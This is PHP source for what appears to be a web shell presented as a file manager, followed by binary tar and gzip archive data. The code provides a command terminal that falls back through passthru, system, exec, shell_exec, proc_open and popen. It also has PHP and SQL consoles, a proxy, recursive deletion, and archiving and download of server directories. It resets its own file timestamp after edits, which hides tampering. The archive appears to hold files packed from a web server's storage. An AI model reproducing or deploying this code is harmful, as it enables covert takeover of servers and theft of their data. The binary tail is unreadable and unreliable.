'.$proxy_form, $result); echo $result; die(); } } ?> FileXXXXXXXXXXX
'.__('File manager').' - '.__('Settings').' '.(empty($msg_ntimes)?'':''.$msg_ntimes.'').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' SQL server SQL user SQL password SQL DB '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' '.__('Reset settings').'
'.__('Settings').' - '.__('Authorization').'
'.__('Login').'
'.__('Password').'
'.__('Cookie').'
'.__('Days').'
'.__('Script').'
'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?>

'.fm_run_input('php'); else echo ''.fm_run_input('sql'); ?>

'."\n"; $select .= '\n"; foreach ($tmpl as $key=>$value){ $select.='\n"; } $select .= "\n"; echo $select; } ?>
'.strtoupper($res_lng).' '.__('Result').'
'.$fun($res).'
'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated'); else $msg_ntimes .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?>

'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_ntimes .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?>
:
'.') { if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):
'; foreach ($search_data as $filename) { $msg_ntimes .= ''.basename($filename).'   '; } } else { $msg_ntimes .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_ntimes .= __('Error occurred'); } else { fclose($fp); $msg_ntimes .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete') . ''; else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete').''; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' '.__('Delete').''; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } ?>
&1"; if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { // Using proc_open as fallback $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($cmd, $descriptorspec, $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } else { $output = "Failed to execute command via proc_open."; } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } else { $output = "Failed to execute command via popen."; } } else { $output = "Error: No command execution functions available."; } } else { $output = "Command execution functions are disabled on this server. Terminal is unavailable."; } } } if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']); if (!isset($path)) $path = $cwd; ?> root@Sid-Gifari:$
    ,
     '.$file.''; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '     '.$file.'' : '     '.$file.''; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '' . __('Delete') . ''; $renamelink = fm_root($file) ? '' : '' . __('Rename') . ''; $rightstext = ($file=='.' || $file=='..') ? '' : '' . @fm_rights_string($filename) . ''; ?>
Github | .'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | proxy'; if (!empty($fm_config['show_phpinfo'])) echo ' | phpinfo'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | xls'; if (!empty($fm_config['fm_settings'])) echo ' | '.__('Settings').''; ?>
errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PK!g* 4yd0ui/674dc9a7e6beb.jpg.tarnu[var/www/html/back/storage/app/public/avatars/10/674dc9a7e6beb.jpg000075500000001567000000000000020142 0ustar00JFIF``>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality C    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222dd" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?(((((((((((((((((((((((((((((((((((((((((((((((((PK!JYY4yd0ui/4yd0ui.tar.gznu[ <[."}߳ 1ؗUBHZRR"k]E$!;!{ό.|~]=\9׹uRҮRn`,,!#wc:H?"[Ғ" e>0F  {}`.`Woa{@¾.008 ( %,*",k{40*-)tDD$[ޟCxu5u4x?)jʁ<|!Q!? jt5@2" 7;aPt0~<5<""b$Ĥ$dG())R9| ! b`gb`US '%% ceb/I >j' }v)i+U?i/}zHqW!_O_ yo{_JT\LOTDL%B8l 9*95}˹rPEɈ{z%5UZ;sLr+:02.ׄ})D|LTDLKTg_QQ⼤AC 6KgQʿ,&2ik=gLe2h|SS#~~&Lx%փ.)41;lhy_8|AqgIģq\1L[3J =IE}w:|2gdR-̥J9x T=~UsabyIFV7e9+ rm6S ~:y#Vݽ"vY"G%nXndyvII< vm=)֮|1kJHns6n_ obEN)~xxKCZ Fn^8sS4SIL 1XtQݵQ:q0=3RFF5_Mx3KN<{s0jJd{jUkxNu} p7u7*C^GW8:}K!2FO'kIG7Hc°UR͎V7_&FNrQ˽c57L2u`o]7 ZPjgY6wX1$7NPဎ흛Ɨj$;m\C|ۍ|c4SXc]<$a:;/F Whf6.2C,8YJ&P*wu yICe?>xDrr&7/91-AFcGYb ĸ}YNj6i5{͹.R]Eܑc*EKyL57jxB_L,E oT]n~1P;7xՕQO{5S< %VCW:߻IDB=le|MaK5y㘱ol򣖣* Q;"~RbY谺'Qj1I?hk(/Te'.ʭj Kp2BKgh\3%t`|}M.=Ӄsʞo50,X{ .o$9+baJ;r'$ɧxu)FKhȒia^Ǜř=sr//sA%+ל|| ^evFjq<.%!CDK'n(D3xVZq1]^Y'a,*;$N"yC rTubf"_|(~^EE[sc$AZĂ]Q,b^e]i)˱zbmzGZޥh:󖛹W}KEZ(gXe~ 6 *Zk[#R('>/n)}\L8ܔ`]X/avG"> sӌEZ6=vyĤfA88got|L+q|G(2tM9|rIVf|[ALyR0LY2#Ͼi>Tu_OJ5<5&)={ŵɸU[j]Ff: NtBKZQ=W3o}Щr*NT ODbKF.RFXS/&Wuڑ&]xQ5؄sDt΋ =XUdZY^z['P$zQn0 AٿG/K֏5V/&?=c)_E(D4]G ͑kVQ8ƞ[V\TVr]&v!,{+!Jha7 k=Tmz,҄ʽJrG',ݛA0e|Tܪ1Zs=+ G-3b\yti įTЩora#kX\ϢldQw-6n:^.ϔWz5<'.iWs8D!cЗ'goYngJ%駈}m wY gLKO8qd,OZh$A 7s'0|f6+SLdfrߌD V=Dt [ >޲,~Vm*Я@-?dD m!ҖO;g{zpZUEJ0VVٗ0aMͿIRM_" o:4]@F否4O{n>ߪOd87^P g6(u{*lE[/޿D(e'%%E.( on=}9Q'TEa}=FWET~Zh6vhvsd~DvWzˑ6-#4u'ҿx|BG[fቺFjy"&#!`>]61&erxg@;'"IOVQ׼pb:4Y=gH{Y0u^)Mhg|FԂjY+9;^qd0a1Mep\d}sOߗǿeti-!cz9aC7:CZ}z[kaܘj1{XoJJؒcL|yD=\_C}^EM}|Nu2[1)GvL_V{tnٟ)5;U+,8莽Ee.^=;(qhlvz†~Yi"#KD]bdFdφ@ҴGۘmk$#?\[N]{+ݹ豙F>Rd|LA\ɥKŊIZ E'+dt'A.Ls>6?wg "}t!wX{!ԧj a'9T=? U]}^L1 oKGJG&$Sd R(93GYpCi VB1͐ԡ cno"#),3U{Bn Aaɱ>֤CU58uZ҇8Ypo`ĭ+xLq39+4!txɉg͵ftTht6jl{-ŤMuyM257(z /Loƽ=ѝOِɂ[?Oh/Ͼs8;czt5}iEЯa}/aQԍ~D.PiҍO hb9 Z?x'\։4Rg$ͯg= bmv]%Wʰ,iv4"]!<^;C}=cyMG][zG >`irgjVA+ze"ʸNz7 FHY|*/{ۃmD:hwpyF i}%,mZ R>?'1\4qϭ.eC>%TN&8\ĝBUЕ r#󦙐bG!t:kʇ}x*I~j5$ߛU6O]jfsQC&UZA.'T)L:Ĩn4I53m-dx[|SYT\H[F6/CX*@>s[]1g>.uoQ]IgFsfi&GBn糜-Ug7Ir\|.KxRIkzd ~ҕZu䥇ZaM\sc5LNkUJ|(-y= qMO]醹9q+a^N]{C1Rl]x>11z'PxIZ-Gjog?LBEs<v MN~/kx@(nUsS LNy0#*A{S.|t@YkYέiKYK EsόC=\¯~tTnڸiwGSǼIW.zJ-^햚+"vooq;.X"YYM0Ԭ}TcMvסI鈔W]q!"vʟw[޾9O}w/YP;_.{ ̀}z=n@Z5s4͋ޅt4䄀uzdjo>Qe Ea '%)1(B_Dzye/M83{R|l梸*y<۵32\ݾsG5^:ݧ\0b[M,{?g 4~kHXgQa̸AB+FO6h7j턛›LAa_g HMWl1WQQ9ΔD\ 䋩MJO`~:Z`2:"אUY'R_u{ʓ7i)<)<\FHqAĠagg,,#W7bgz9)z&h#J*6 /"Tc޼6}ggY%IYgV_$GN]N]d(LfOj Գ{Ǡ^|k4bLH1LswA͡)WIwR8c"[tWH|ftYC]-*-,V*>9P 6sZY%\r'ߖ-S{z3z:ϱ?E?h y\qIS+֓zCSFRՔ)Tǫo)K1صI3ϹZTO8]\p:ospV)/a( Wy;/2T<2IIjEҥj; l4 2+o©m%-ܺ4x MU dW5zK\Edm:+ ^2^*?!ƞ̤obلC`EE7Srg\6eg{([aw;6# ?͝6A,rP!I//1+[{(\zOZ"~FϋN5$[}N\=B(xk«(ޯ__gi]c:&QNBrZJlTb*ca Dee5ѽܙRܶiw$:[E1ؤLz#2(=0ŵmTŌc׿unoKk:yJW92gc׽H k/v2U*'x\#sgѣuƚQ/;>AT̯hnЊL֣b*8bVY" YԴ[M.m"bJuDIh.y%8iŦ%Mg 'đ6)]|6ݫ0j\* >J +6?+T7U^}n{T~thehbgZX5ƌuKwK):hXWEr !+!M vd^Jg4țH 0.2)<>mILk jYA I BZXc3c;/0[pz9zYtsH.O` {3\9 6ٝzmzx򅨟_7dCt*JI~Keø))TGU0o3T jPM%?Non#'3LWYL8'@ yS܍ zu"FD 4WDrntTB O]P\~uʼwWdE%RȜ2yDTXք'4@Ukexg/A,).()M>j Ym\_BOxn_Ƽo'XՁ8_͋|멁W kFJB-Uhw'ex8Mݤ"?2Z3`z[&l^zgjGb. 9AT7m[ .ɰ[\8qrxLeC;k5Y+ÏԮI(ρL5I7"mN&80*+T3B:tl9ŸrwAO692'Pr%Fp;4C´o>ʊ>}) U jб]ӛ}D%"VE]΢^ewB3çI7־m^Q SYjWSY9կEDFuAgUOJQrQϵ4Cl6oxX8`.*vNwuh=fݶ(IyE[ٯؤ}[gsK@/kV3OܶFJ21n'Zt*J՝.0}}Ӯ衹)~'؁]5"7ge<[/ehL˽Tp]3N5j E3W14Zw;Wf Ҽū^Ҭvd:lJy3F. чI4 JyK1P{Ѵh8¾'@~w=Hj֬G냮_il~jqV\O)nj*a4SDW}㡄H=o Ǒ(Ooi;hJ4&'p DC;':*:*ضq<)xQ'_$j{Ә:U,"_j#cd"_mN׭zzTݕ53&7׎)̥t_~~w!pvrk.O%g\VtSxt.c]ler~ |?&Gzn11%c- (s bb4E}_}"](MS`ttGMrx{khAyK|?&7Y^ cY*-Ҍe\lEݮd|l;*䂡rfړct9 /E!MN,M=P*n+Q1nux246Td__}e,BR]&ċ/C}9K$,qH‘_]'x4:p!&LÆ*G<$B Tr/'Ȼc_~]:SW/M=Smmpxr>Η=p16ǓnZ|:h*R,88bܧk0 Sm+oi~+LqPȾBX:{yx1Ϸ73V+33vꗋD4|Һtp6QjE/ؤâCs)<9KHֹ0+[aFFo[^( ݜ(x}>ȷE)%Kk—\n\:Ҁ%֙c'|jE%gN8uuVjt h|%q(BwJ#aK͊ ҇6Rmܥ.nsQ"l[`iH:k2hRf,]w4!ON9h` .pHR68XHf$+ K֐cƴ8JS e[4? &S2Jh=f|0 qck;`U춒A c;'GL&ϽuN]EURT;&8>ʽ~@\KlحeR%=z|MA ! w}J-ghSm #~')(Y*jxS ɾZQ;pivAgqy=Omz[K7{r䋙ԑGMdrިiOdy7g~Lok&QtHo,O] S5 8lz|i-(od8@Iy>1h'; "Qԕ||h|RmTNfᘨ^zZD۵ބY&1 z<~!p XuGtS֨egbT,@ϫU-wXOe2)XG]ރE\VPUΔnXD>o2qI1.)MfE󨂄rzP]M0Kmxaes{PqfƩS@Yr\'%7+0i38n"6(bz {"##$E׏z+|[R5 XeGj[>͔pm?7S(r-SMo>}mlÐuʛꢆuy#:TU6ְJ wcCWrBݣeoF+r@XMu-Ɗdl^WaiC, /N?Kk}[+ze1 